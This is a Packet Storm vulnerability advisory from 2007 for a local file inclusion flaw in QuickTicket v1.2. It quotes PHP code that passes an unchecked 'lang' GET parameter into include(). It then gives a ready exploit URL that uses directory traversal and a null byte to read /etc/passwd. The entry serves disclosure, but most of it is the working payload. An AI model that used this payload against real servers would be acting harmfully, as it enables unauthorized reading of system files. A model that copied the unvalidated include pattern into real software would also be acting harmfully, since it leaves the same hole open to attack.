quickticket-lfi.txt

2007-06-28T00:00:00
ID PACKETSTORM:57320
Type packetstorm
Reporter Katatafish
Modified 2007-06-28T00:00:00

Description

                                        
                                            `###QuickTicket v1.2 Local File Inclusion###  
  
#download: http://www.qt-cute.org/download/qti12.zip  
  
#found by: katatafish (karatatata@hush.com)  
  
#vulncode:  
$strLang = $_GET["lang"];  
include("language/$strLang/qtf_lang_reg.inc");  
  
#exploit:  
http://www.site.com/[path]/qti_checkname.php?lang=./../../../../../../../../../../etc/passwd%00  
  
#thanks:str0ke  
  
`